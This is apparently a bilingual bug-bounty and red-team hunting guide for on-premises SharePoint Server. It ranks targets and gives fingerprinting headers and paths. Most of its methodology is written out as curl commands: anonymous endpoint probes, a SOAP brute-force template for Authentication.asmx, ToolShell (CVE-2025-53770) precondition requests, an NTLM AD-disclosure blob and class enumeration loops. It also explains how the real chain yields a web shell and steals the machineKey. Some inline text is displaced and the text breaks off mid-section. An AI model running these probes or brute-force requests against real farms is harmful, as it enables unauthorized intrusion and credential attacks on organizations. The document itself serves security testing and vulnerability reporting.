hunt-sharepoint
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ChineseCrown Jewel Targets
核心高价值目标
SharePoint Server (on-prem) is one of the richest enterprise attack surfaces in 2025-2026 bug bounty / red-team work. Three forces converge:
- End-of-life unpatched code paths. SharePoint Server 2013 reached extended-support EoL on 2023-04-11 (final build / KB5002381). Every SharePoint CVE published after that date is permanently unpatched on SP2013 farms. SP2016 reaches EoL 2026-07-14; SP2019 reaches EoL 2026-07-14 (next 2 months as of May 2026); only SP Subscription Edition is currently in active support.
15.0.5545.1000 - CVE-2025-53770 / 53771 "ToolShell" — July 2025 emergency-out-of-band patch chain for SPE / SP2019 / SP2016. The vulnerable code path (anonymous + anonymous
/_layouts/15/ToolPane.aspx?DisplayMode=Edit+ unencrypted ViewState) is present in SP2013 too and will never receive a fix.__REQUESTDIGEST - Custom branded login pages forget legacy SOAP login. with the
/_vti_bin/Authentication.asmxSOAP op is the SharePoint equivalent of WordPress XMLRPC bypass — accepts native Forms credentials anonymously with no rate limit on most farms even when the branded UI has lockout.Login
Highest-value SharePoint targets:
- SP2013 farms still on the public internet — every CVE since April 2023 is unpatched. Critical-severity findings.
- Dealer / partner / supplier portals built on SharePoint by enterprise integrators (German VW group, a enterprise system integrator, etc.) — high-impact business data, often nested inside corporate AD trees.
- SharePoint farms with anonymous Forms-auth zones — Authentication.asmx becomes anonymously brute-forceable.
- SharePoint inside corporate AD parent forests — NTLM Type-2 leak (see ) discloses the parent forest membership.
hunt-ntlm-info - Telerik-integrated SharePoint installations — additional deserialization sinks on top of SP's own.
Asset types that pay most: internet-reachable SP Server (any version) > SP Online with custom solutions hooks > intranet SP only after VPN compromise.
本地部署的 SharePoint Server 是 2025-2026 年漏洞赏金/红队工作中最丰富的企业攻击面之一。三方面因素相互叠加:
- EoL 未修补代码路径。 SharePoint Server 2013 已于 2023-04-11 结束扩展支持(EoL)(最终 build / KB5002381)。此后发布的每个 SharePoint CVE 在 SP2013 农场中都将永久保持未修补状态。SP2016 将于 2026-07-14 达到 EoL;SP2019 将于 2026-07-14 达到 EoL(截至 2026 年 5 月为未来两个月);只有 SP Subscription Edition 目前仍处于活跃支持期。
15.0.5545.1000 - CVE-2025-53770 / 53771“ToolShell”——2025 年 7 月面向 SPE / SP2019 / SP2016 发布的紧急 OOB 补丁链。脆弱代码路径(匿名 + 匿名
/_layouts/15/ToolPane.aspx?DisplayMode=Edit+ 未加密 ViewState)在 SP2013 中同样存在,并且永远不会收到修复。__REQUESTDIGEST - 自定义品牌登录页面遗留旧版 SOAP 登录。 带 SOAP 操作的
Login相当于 WordPress XMLRPC 绕过——它可以匿名接受原生 Forms 凭据,而且大多数农场没有速率限制,即使品牌 UI 已设置锁定策略。/_vti_bin/Authentication.asmx
价值最高的 SharePoint 目标:
- 仍暴露在公共互联网上的 SP2013 农场——自 2023 年 4 月以来的每个 CVE 都未修补。属于 Critical 级别发现。
- 由企业集成商构建的经销商/合作伙伴/供应商门户(德国大众集团、某企业系统集成商等)——业务数据影响高,而且通常嵌套在企业 AD 树中。
- 启用了匿名 Forms 认证区域的 SharePoint 农场——Authentication.asmx 可被匿名暴力破解。
- 位于企业 AD 父林中的 SharePoint 农场——NTLM Type-2 泄露(参见 )会暴露父林成员关系。
hunt-ntlm-info - 集成 Telerik 的 SharePoint 安装——除 SharePoint 自身的攻击面外,还存在额外的反序列化汇点。
**收益最高的资产类型:**可触达互联网的 SP Server(任意版本)> 带自定义解决方案挂钩的 SP Online > 仅在 VPN 被攻破后才可触达的 Intranet SP。
Attack Surface Signals
攻击面信号
Response-header fingerprints (any one is sufficient — usually multiple co-occur):
SPRequestGuid: <GUID> (always — anonymous and authenticated)
X-MS-InvokeApp: 1; RequireReadOnly (SharePoint web request)
X-SharePointHealthScore: 0 (SharePoint specific)
SPIisLatency: <ms> (SharePoint internal timing)
SPRequestDuration: <ms> (SharePoint request duration)
MicrosoftSharePointTeamServices: 15.0.0.0 (often stripped by ELB — but if present, exact version)
X-Forms_Based_Auth_Required: <login URL> (Forms-auth zone indicator)
X-Forms_Based_Auth_Return_Url: <return URL> (Forms-auth zone indicator)
X-MSDAVEXT_Error: 917656; Access denied... (WebDAV extension active)
DAV: 1, 2 (WebDAV verbs supported)
Set-Cookie: ASP.NET_SessionId=... (always — IIS session)
Set-Cookie: FedAuth=...; rtFa=... (claims-mode auth)
Set-Cookie: WSS_FullScreenMode=... (SharePoint UI mode)URL / path fingerprints:
/_layouts/15/ (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)
/_layouts/14/ (legacy SP2010 — almost EoL since 2020-10-13)
/_layouts/16/ (some SP2019 / SPE)
/_vti_bin/ (FrontPage-RPC + SOAP services)
/_vti_pvt/ (FrontPage-RPC config — usually 403)
/_vti_inf.html (almost always anonymous; contains FPVersion banner)
/_api/ (modern REST API)
/_api/$metadata (OData metadata — often anonymous + large)
/_api/contextinfo (FormDigest issuer — POST only)
/_catalogs/ (site catalogs: masterpage, wp, lt, theme, solutions)
/_catalogs/users/simple.aspx (user list — usually 403)
/_layouts/15/start.aspx (anonymous landing — leaks version)
/_layouts/15/ToolPane.aspx (web part editor — ToolShell sink)
/_layouts/15/Picker.aspx (people/list picker — SafeControl recon)
/_layouts/15/download.aspx (SP-internal file resolver — NOT outbound SSRF)
/_layouts/15/Authenticate.aspx (forms-auth redirector)
/_layouts/15/SignOut.aspx (logout)
/_layouts/15/error.aspx (error page — anonymous)
/_layouts/15/AccessDenied.aspx (denied page — anonymous)
/_layouts/15/scriptresx.ashx?culture=en-us&name=core (resource bundle leak)
/_layouts/15/<Customer>/ (custom-branding modules — see Methodology step 8)
/_vti_bin/Authentication.asmx (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)
/_vti_bin/SharedAccess.asmx (often anon-readable)
/_vti_bin/lists.asmx (auth-required on hardened farms)
/_vti_bin/sites.asmx (auth-required on hardened farms)
/_vti_bin/sts/ (Security Token Service — usually 302 to error)
/sites/<name>/ (site collections)
/personal/<user>/ (MySite / OneDrive-for-Business)Body signals (in HTML responses):
<meta name="GENERATOR" content="Microsoft SharePoint" />
RegisterSod("...","/_layouts/15/..."); (Script-on-demand registration)
var g_initUrl=''; (start.aspx MDS state)
__REQUESTDIGEST (CSRF token — leaks even to anon if endpoint mis-configured)
__VIEWSTATEENCRYPTED="" (Sign-only ViewState — see hunt-aspnet)
"LibraryVersion":"15.0.X.XXXX" (in _api/contextinfo response)
Version:15, webPermMasks:{High:0,Low: (in start.aspx body)
HelpWindowKey('WSSEndUser_troubleshooting (anonymous error.aspx body)Tech-stack signals:
- + paths starting with
Server: Microsoft-IIS/10.0→ SharePoint 2013/2016/2019/SE/_layouts/15/ - AWS ELB / ALB in front of SharePoint → cross-node ViewState MAC issues possible (see hunt-aspnet)
- on
WWW-Authenticate: NTLM→ dual-auth (Forms + NTLM); use/_api/web/CurrentUserfor AD-topology disclosurehunt-ntlm-info - → test/staging mirror of production SharePoint; data often mirrored from prod
*.test.<customer>.tld
响应头指纹(命中任意一项即足够——通常会同时出现多项):
SPRequestGuid: <GUID> (always — anonymous and authenticated)
X-MS-InvokeApp: 1; RequireReadOnly (SharePoint web request)
X-SharePointHealthScore: 0 (SharePoint specific)
SPIisLatency: <ms> (SharePoint internal timing)
SPRequestDuration: <ms> (SharePoint request duration)
MicrosoftSharePointTeamServices: 15.0.0.0 (often stripped by ELB — but if present, exact version)
X-Forms_Based_Auth_Required: <login URL> (Forms-auth zone indicator)
X-Forms_Based_Auth_Return_Url: <return URL> (Forms-auth zone indicator)
X-MSDAVEXT_Error: 917656; Access denied... (WebDAV extension active)
DAV: 1, 2 (WebDAV verbs supported)
Set-Cookie: ASP.NET_SessionId=... (always — IIS session)
Set-Cookie: FedAuth=...; rtFa=... (claims-mode auth)
Set-Cookie: WSS_FullScreenMode=... (SharePoint UI mode)URL/路径指纹:
/_layouts/15/ (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)
/_layouts/14/ (legacy SP2010 — almost EoL since 2020-10-13)
/_layouts/16/ (some SP2019 / SPE)
/_vti_bin/ (FrontPage-RPC + SOAP services)
/_vti_pvt/ (FrontPage-RPC config — usually 403)
/_vti_inf.html (almost always anonymous; contains FPVersion banner)
/_api/ (modern REST API)
/_api/$metadata (OData metadata — often anonymous + large)
/_api/contextinfo (FormDigest issuer — POST only)
/_catalogs/ (site catalogs: masterpage, wp, lt, theme, solutions)
/_catalogs/users/simple.aspx (user list — usually 403)
/_layouts/15/start.aspx (anonymous landing — leaks version)
/_layouts/15/ToolPane.aspx (web part editor — ToolShell sink)
/_layouts/15/Picker.aspx (people/list picker — SafeControl recon)
/_layouts/15/download.aspx (SP-internal file resolver — NOT outbound SSRF)
/_layouts/15/Authenticate.aspx (forms-auth redirector)
/_layouts/15/SignOut.aspx (logout)
/_layouts/15/error.aspx (error page — anonymous)
/_layouts/15/AccessDenied.aspx (denied page — anonymous)
/_layouts/15/scriptresx.ashx?culture=en-us&name=core (resource bundle leak)
/_layouts/15/<Customer>/ (custom-branding modules — see Methodology step 8)
/_vti_bin/Authentication.asmx (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)
/_vti_bin/SharedAccess.asmx (often anon-readable)
/_vti_bin/lists.asmx (auth-required on hardened farms)
/_vti_bin/sites.asmx (auth-required on hardened farms)
/_vti_bin/sts/ (Security Token Service — usually 302 to error)
/sites/<name>/ (site collections)
/personal/<user>/ (MySite / OneDrive-for-Business)正文信号(位于 HTML 响应中):
<meta name="GENERATOR" content="Microsoft SharePoint" />
RegisterSod("...","/_layouts/15/..."); (Script-on-demand registration)
var g_initUrl=''; (start.aspx MDS state)
__REQUESTDIGEST (CSRF token — leaks even to anon if endpoint mis-configured)
__VIEWSTATEENCRYPTED="" (Sign-only ViewState — see hunt-aspnet)
"LibraryVersion":"15.0.X.XXXX" (in _api/contextinfo response)
Version:15, webPermMasks:{High:0,Low: (in start.aspx body)
HelpWindowKey('WSSEndUser_troubleshooting (anonymous error.aspx body)技术栈信号:
- + 以
Server: Microsoft-IIS/10.0开头的路径 → SharePoint 2013/2016/2019/SE/_layouts/15/ - SharePoint 前方部署 AWS ELB / ALB → 可能出现跨节点 ViewState MAC 问题(参见 )
hunt-aspnet - 返回
/_api/web/CurrentUser→ 双认证(Forms + NTLM);使用WWW-Authenticate: NTLM披露 AD 拓扑hunt-ntlm-info - → 生产环境 SharePoint 的测试/预发布镜像;数据通常会从生产环境镜像过来
*.test.<customer>.tld
Step-by-Step Hunting Methodology
分步探测方法
-
Fingerprint the SharePoint version. Build number leaks anonymously through several paths. Map the result to the CVE matrix immediately.bash
# Method 1: _vti_inf.html (always anonymous, always present) curl -sk "https://target.example/_vti_inf.html" # → FPVersion="15.00.0.000" (15.x = SP2013, 16.x = SP2016/2019/SE) # Method 2: _api/contextinfo POST (anonymous on most farms) curl -sk -X POST "https://target.example/_api/contextinfo" \ -H "Accept: application/json;odata=verbose" \ | jq -r '.d.GetContextWebInformation.LibraryVersion' # → "15.0.5545.1000" (full build number) # Method 3: /_layouts/15/start.aspx body curl -sk "https://target.example/_layouts/15/start.aspx" \ | grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"Map to CVE matrix:Build Edition Status Notable unpatched-after-EoL CVEs 15.0.5545.1000SP2013 final CU EoL 2023-04-11 CVE-2023-29357, CVE-2023-33160/33157/36941, CVE-2024-21318/30043/38023/38024/38094, CVE-2025-53770/53771, CVE-2025-29794 16.0.10416.xSP2016 EoL 2026-07-14 depends on patch level 16.0.10417.x+SP2019 / SE active check Microsoft's monthly Patch Tuesday -
Anonymous-endpoint matrix probe. Walk every endpoint in the table below in one pass. Anything anonymous becomes part of the attack chain.
/_vti_inf.html → version disclosure /_layouts/15/start.aspx → version disclosure + session minting /_layouts/15/blank.htm → benign anchor for smuggling probes /_layouts/15/error.aspx → request-validator behaviour probe /_layouts/15/Authenticate.aspx?Source= → redirect-chain behaviour /_layouts/15/AccessDenied.aspx?Source= → redirect-chain behaviour /_layouts/15/SignOut.aspx → logout — anonymous OK /_layouts/15/closeConnection.aspx → anonymous OK /_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res → 35KB localised strings /_layouts/15/scriptresx.ashx?culture=en-us&name=core → 277KB localised strings /_layouts/15/ToolPane.aspx?DisplayMode=Edit → ToolShell precondition (THIS IS THE BIG ONE) /_layouts/15/Picker.aspx → SafeControl recon (see step 6) /_layouts/15/<CustomerName>/pages/login/customlogin.aspx → custom Forms login (replace `<CustomerName>` with target's customer name) /_vti_bin/Authentication.asmx → legacy SOAP login — anonymous brute-force (CRITICAL) /_vti_bin/Authentication.asmx?WSDL → WSDL — confirms Login + Mode ops /_vti_bin/SharedAccess.asmx → often anonymous /_vti_bin/spsdisco.aspx → SP service discovery /_api/contextinfo (POST) → anonymous FormDigest mint (HIGH) /_api/$metadata → 381KB API surface enumeration /_api/Search → search service descriptor /_api/web/CurrentUser → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info) -
Legacy SOAP login bypass via Authentication.asmx. Cross-referenceLegacy-Protocol Matrix. The standard probe:
hunt-auth-bypassbash# First: confirm Mode = Forms (else this attack vector is N/A) curl -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \ -H "Content-Type: text/xml; charset=utf-8" \ -H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \ -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>' # → <ModeResult>Forms</ModeResult> ← target is exploitable # → <ModeResult>Windows</ModeResult> ← target uses Windows auth only; this vector N/A # Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY) # Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords # If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surfaceSeverity: Critical when anonymous + no rate limit + no lockout. Submit as bug-bounty even before demonstrating successful auth — the unbounded credential validation is the bug, not "I cracked X credential." -
ToolShell precondition chain probe (CVE-2025-53770 class). Three sub-requests:bash
# Sub-step a: anonymous GET on ToolPane.aspx curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" # Body should contain: __REQUESTDIGEST="0x...,..." AND __VIEWSTATEENCRYPTED="" # If both: precondition stack is anonymous-reachable. # Sub-step b: anonymous POST to /_api/contextinfo curl -sk -X POST "https://target.example/_api/contextinfo" \ -H "Accept: application/json;odata=verbose" \ | jq -r '.d.GetContextWebInformation.FormDigestValue' # Should return a valid digest with 1800s validity. # Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest curl -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \ -H "X-RequestDigest: <digest from step b>" \ --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" # Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.Severity: Critical on EoL SP2013 (no patch will ever ship). High on SP2016/2019/SE ifis non-empty (encrypted ViewState mitigates the deserialization arm but precondition still warns of misconfig).__VIEWSTATEENCRYPTEDIMPORTANT: Do NOT actually deliver a malicious ViewState payload. The precondition chain is sufficient evidence for the report. In the real CVE-2025-53770 chain, machineKey recovery is NOT a precondition for RCE: the auth-bypass (CVE-2025-49706, crafted Referer to ToolPane.aspx) + insecure deserialization (CVE-2025-49704) yield an initial web shell with no machineKey knowledge. The(ValidationKey/DecryptionKey) is then DUMPED by that web shell and used to forge signed<machineKey>for persistent/unauthenticated re-exploitation. So machineKey is the loot of the first RCE and the persistence arm, not a gate in front of it — do not under-assess an exploitable farm just because machineKey is unknown.__VIEWSTATE -
NTLM Type-2 AD topology disclosure. Cross-referencefor full methodology. Quick check:
hunt-ntlm-infobash# Use Burp send_http1_request with keep-alive, or Python raw socket # Anonymous Type-1 with NetBIOS-info request flag: # Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw== # Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer nameSeverity: Medium when chained with internet exposure + defaulthostname; Informational otherwise.WIN-XXXXXXXXXXX -
SafeControl enumeration via Picker.aspx. Picker.aspx differentiates two error states by class existence:
- Type EXISTS but not whitelisted:
"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site." - Type DOES NOT exist:
"Could not load type '<Class>' from assembly 'Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'."
Feed a wordlist ofandMicrosoft.SharePoint.*.WebControls.*types to enumerate reachable classes. The list itself is recon for CVE-2019-0604-family chains.Microsoft.SharePoint.WebPartPages.*bashfor cls in \ "Microsoft.SharePoint.WebControls.PeopleEditor" \ "Microsoft.SharePoint.WebControls.ItemPicker" \ "Microsoft.SharePoint.WebPartPages.DataFormWebPart" \ ; do curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \ | grep -oE "<title>[^<]+</title>" done - Type EXISTS but not whitelisted:
-
is NOT outbound SSRF — recognize and don't waste time. SP's
download.aspxis an SP-internal path resolver, not a generic URL fetcher. Behaviours:/_layouts/15/download.aspx?SourceUrl=- External URL () → 500 with
http://evil.example.com/x— server tried to resolve as an SP web app, didn't fetch."The Web application at <URL> could not be found" - Same-origin file URL → 500 with — server tried SPFile.OpenBinary, file not found.
"<nativehr>0x81070211</nativehr>...Cannot open file '<path>'" - Files matching the extension blocklist (,
.ashx,.asmx,.svc) → 500 with.configregardless of whether the file exists."file blocked from this Web site by the server administrators" - , UNC paths,
file://, etc. → 500 withgopher://— URL-scheme validator rejects."Value does not fall within the expected range"
The error-message URL echo is NOT confirmation of SSRF. Confirm via Burp Collaborator OOB before claiming. (Cross-referenceOOB-Or-It-Didn't-Happen Gate.) Verified negative in authorized engagement: 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero callbacks.hunt-ssrfThe extension blocklist also looks like a "file-existence oracle" (existing vs not-found returns different responses) but it's actually just the SP file-extension policy. Don't infer file presence from the blocklist response. - External URL (
-
Custom-branding module enumeration. Customer-customised SP installations almost always have adirectory tree. Find the name from the login URL (e.g.
/_layouts/15/<CustomerName>/→ customer name is/_layouts/15/<CustomerName>/pages/login/customlogin.aspx). Then probe:<CustomerName>bashfor sub in pages Pages js Js JS css scripts handlers controls images config data services api; do curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \ "https://target.example/_layouts/15/CustomerName/$sub/" # 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid doneJS bundles often contain hardcoded endpoint URLs, hidden routes, internal API paths. Pull each with properheader (some are referer-gated).Referer -
Search service probe.returns a small JSON descriptor anonymously.
/_api/Searchreturns 500 with stack trace if the Search Service Application is not running — useful infra disclosure but not directly exploitable./_api/search/query?querytext='X' -
Authenticated post-login surfaces (if you have valid credentials):
- — enumerate lists
/_api/web/Lists - — enumerate users
/_api/web/SiteUsers - — file enumeration
/_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files - — user listing
/_layouts/15/people.aspx - Custom customer-branded modules — check for IDOR, business logic
- Workflow Services ()
/_api/SP.WorkflowServices.*
-
识别 SharePoint 版本。 通过多条路径可匿名泄露 build 编号。立即将结果映射到 CVE 矩阵。bash
# Method 1: _vti_inf.html (always anonymous, always present) curl -sk "https://target.example/_vti_inf.html" # → FPVersion="15.00.0.000" (15.x = SP2013, 16.x = SP2016/2019/SE) # Method 2: _api/contextinfo POST (anonymous on most farms) curl -sk -X POST "https://target.example/_api/contextinfo" \ -H "Accept: application/json;odata=verbose" \ | jq -r '.d.GetContextWebInformation.LibraryVersion' # → "15.0.5545.1000" (full build number) # Method 3: /_layouts/15/start.aspx body curl -sk "https://target.example/_layouts/15/start.aspx" \ | grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"映射到 CVE 矩阵:Build Edition Status EoL 后仍未修补的 notable CVE 15.0.5545.1000SP2013 final CU EoL 2023-04-11 CVE-2023-29357, CVE-2023-33160/33157/36941, CVE-2024-21318/30043/38023/38024/38094, CVE-2025-53770/53771, CVE-2025-29794 16.0.10416.xSP2016 EoL 2026-07-14 取决于补丁级别 16.0.10417.x+SP2019 / SE 活跃支持 检查 Microsoft 每月 Patch Tuesday -
匿名端点矩阵探测。 一次遍历下表中的每个端点。任何可匿名访问的端点都会成为攻击链的一部分。
/_vti_inf.html → version disclosure /_layouts/15/start.aspx → version disclosure + session minting /_layouts/15/blank.htm → benign anchor for smuggling probes /_layouts/15/error.aspx → request-validator behaviour probe /_layouts/15/Authenticate.aspx?Source= → redirect-chain behaviour /_layouts/15/AccessDenied.aspx?Source= → redirect-chain behaviour /_layouts/15/SignOut.aspx → logout — anonymous OK /_layouts/15/closeConnection.aspx → anonymous OK /_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res → 35KB localised strings /_layouts/15/scriptresx.ashx?culture=en-us&name=core → 277KB localised strings /_layouts/15/ToolPane.aspx?DisplayMode=Edit → ToolShell precondition (THIS IS THE BIG ONE) /_layouts/15/Picker.aspx → SafeControl recon (see step 6) /_layouts/15/<CustomerName>/pages/login/customlogin.aspx → custom Forms login (replace `<CustomerName>` with target's customer name) /_vti_bin/Authentication.asmx → legacy SOAP login — anonymous brute-force (CRITICAL) /_vti_bin/Authentication.asmx?WSDL → WSDL — confirms Login + Mode ops /_vti_bin/SharedAccess.asmx → often anonymous /_vti_bin/spsdisco.aspx → SP service discovery /_api/contextinfo (POST) → anonymous FormDigest mint (HIGH) /_api/$metadata → 381KB API surface enumeration /_api/Search → search service descriptor /_api/web/CurrentUser → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info) -
通过 Authentication.asmx 绕过旧版 SOAP 登录。 与的 Legacy-Protocol Matrix 交叉核对。标准探测:
hunt-auth-bypassbash# First: confirm Mode = Forms (else this attack vector is N/A) curl -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \ -H "Content-Type: text/xml; charset=utf-8" \ -H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \ -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>' # → <ModeResult>Forms</ModeResult> ← target is exploitable # → <ModeResult>Windows</ModeResult> ← target uses Windows auth only; this vector N/A # Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY) # Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords # If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surface**严重性:**当满足匿名访问 + 无速率限制 + 无锁定策略时,严重性为 Critical。即使在证明成功认证之前,也可以将其作为漏洞赏金提交——问题在于无限制的凭据验证,而不是“我破解了某个凭据”。 -
ToolShell 前置条件链探测(CVE-2025-53770 类)。三个子请求:bash
# Sub-step a: anonymous GET on ToolPane.aspx curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" # Body should contain: __REQUESTDIGEST="0x...,..." AND __VIEWSTATEENCRYPTED="" # If both: precondition stack is anonymous-reachable. # Sub-step b: anonymous POST to /_api/contextinfo curl -sk -X POST "https://target.example/_api/contextinfo" \ -H "Accept: application/json;odata=verbose" \ | jq -r '.d.GetContextWebInformation.FormDigestValue' # Should return a valid digest with 1800s validity. # Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest curl -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \ -H "X-RequestDigest: <digest from step b>" \ --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" # Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.**严重性:**在 EoL SP2013 上为 Critical(永远不会发布补丁)。如果 SP2016/2019/SE 的非空,则为 High(加密 ViewState 可以缓解反序列化分支,但该前置条件仍表明存在错误配置)。__VIEWSTATEENCRYPTED**重要:**不要实际投递恶意 ViewState payload。报告所需证据仅为前置条件链。在真实的 CVE-2025-53770 链中,machineKey 恢复并不是 RCE 的前置条件:认证绕过(CVE-2025-49706,向 ToolPane.aspx 发送特制 Referer)+ 不安全反序列化(CVE-2025-49704)可以在无需获知 machineKey 的情况下获得初始 web shell。随后,该 web shell 会转储(ValidationKey/DecryptionKey),并使用它伪造签名的<machineKey>,以实现持久化/未认证的再次利用。因此,machineKey 是首次 RCE 和持久化分支所取得的战利品,而不是其前置门槛——不要仅仅因为 machineKey 未知就低估可利用农场的风险。__VIEWSTATE -
NTLM Type-2 AD 拓扑泄露。 完整方法参见。快速检查:
hunt-ntlm-infobash# Use Burp send_http1_request with keep-alive, or Python raw socket # Anonymous Type-1 with NetBIOS-info request flag: # Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw== # Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name**严重性:**与互联网暴露 + 默认主机名组合时为 Medium;其他情况下为 Informational。WIN-XXXXXXXXXXX -
通过 Picker.aspx 枚举 SafeControl。 Picker.aspx 会根据类是否存在来区分两种错误状态:
- 类型存在但不在白名单中:
"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site." - 类型不存在:
"Could not load type '<Class>' from assembly 'Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'."
将和Microsoft.SharePoint.*.WebControls.*类型词表输入其中,以枚举可访问的类。该列表本身就是针对 CVE-2019-0604 家族攻击链的侦察线索。Microsoft.SharePoint.WebPartPages.*bashfor cls in \ "Microsoft.SharePoint.WebControls.PeopleEditor" \ "Microsoft.SharePoint.WebControls.ItemPicker" \ "Microsoft.SharePoint.WebPartPages.DataFormWebPart" \ ; do curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \ | grep -oE "<title>[^<]+</title>" done - 类型存在但不在白名单中:
-
不是出站 SSRF——识别这一点,避免浪费时间。 SP 的
download.aspx是 SP 内部路径解析器,不是通用 URL 获取器。其行为如下:/_layouts/15/download.aspx?SourceUrl=- 外部 URL()→ 返回 500,错误为
http://evil.example.com/x——服务器尝试将其解析为 SP Web 应用,但没有发起请求。"The Web application at <URL> could not be found" - 同源文件 URL → 返回 500,错误为 ——服务器尝试使用 SPFile.OpenBinary,但未找到文件。
"<nativehr>0x81070211</nativehr>...Cannot open file '<path>'" - 匹配扩展名阻止列表(、
.ashx、.asmx、.svc)的文件 → 无论文件是否存在,均返回 500,错误为.config。"file blocked from this Web site by the server administrators" - 、UNC 路径、
file://等 → 返回 500,错误为gopher://——URL scheme 验证器会拒绝请求。"Value does not fall within the expected range"
错误消息中的 URL 回显并不能确认 SSRF。 在提出此结论前,应通过 Burp Collaborator OOB 进行确认。(参见的 OOB-Or-It-Didn't-Happen Gate。)在经授权的测试中已验证为阴性:跨 12 个以上接受 URL 的 SP 参数发送了 38 个带 Collaborator 标记的 payload,结果为零回调。hunt-ssrf扩展名阻止列表看起来也像是一个“文件存在性 Oracle”(存在与未找到会返回不同响应),但实际上它只是 SP 的文件扩展名策略。不要根据阻止列表响应推断文件是否存在。 - 外部 URL(
-
自定义品牌模块枚举。 客户定制化的 SP 安装几乎总是包含目录树。从登录 URL 中查找名称(例如
/_layouts/15/<CustomerName>/→ 客户名称为/_layouts/15/<CustomerName>/pages/login/customlogin.aspx)。随后进行探测:<CustomerName>bashfor sub in pages Pages js Js JS css scripts handlers controls images config data services api; do curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \ "https://target.example/_layouts/15/CustomerName/$sub/" # 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid doneJS bundle 通常包含硬编码的端点 URL、隐藏路由和内部 API 路径。应在携带适当响应头的情况下获取每个文件(其中一些会校验 Referer)。Referer -
搜索服务探测。会匿名返回一个小型 JSON 描述符。如果 Search Service Application 未运行,
/_api/Search会返回带有堆栈跟踪的 500 错误——这有助于披露基础设施,但不可直接利用。/_api/search/query?querytext='X' -
登录后的认证攻击面(拥有有效凭据时):
- ——枚举列表
/_api/web/Lists - ——枚举用户
/_api/web/SiteUsers - ——枚举文件
/_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files - ——用户列表
/_layouts/15/people.aspx - 客户定制品牌模块——检查 IDOR 和业务逻辑
- Workflow Services()
/_api/SP.WorkflowServices.*
Payload & Detection Patterns
Payload 与检测模式
Authentication.asmx Login (the canonical brute-force endpoint):
xml
POST /_vti_bin/Authentication.asmx HTTP/1.1
Host: target.example
Content-Type: text/xml; charset=utf-8
SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login
Content-Length: 376
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://schemas.microsoft.com/sharepoint/soap/">
<username>USERNAME</username>
<password>PASSWORD</password>
</Login>
</soap:Body>
</soap:Envelope>Response codes:
- → auth success;
<ErrorCode>NoError</ErrorCode>and<CookieName>FedAuth</CookieName>follow<TimeoutSeconds>...</TimeoutSeconds> - → auth fail (uniform for non-existent users too — no enum leak via error string)
<ErrorCode>PasswordNotMatch</ErrorCode> - 500 + → empty username
<faultstring>Value cannot be null. Parameter name: userName</faultstring>
ToolShell precondition reproduction:
bash
undefinedAuthentication.asmx Login(规范的暴力破解端点):
xml
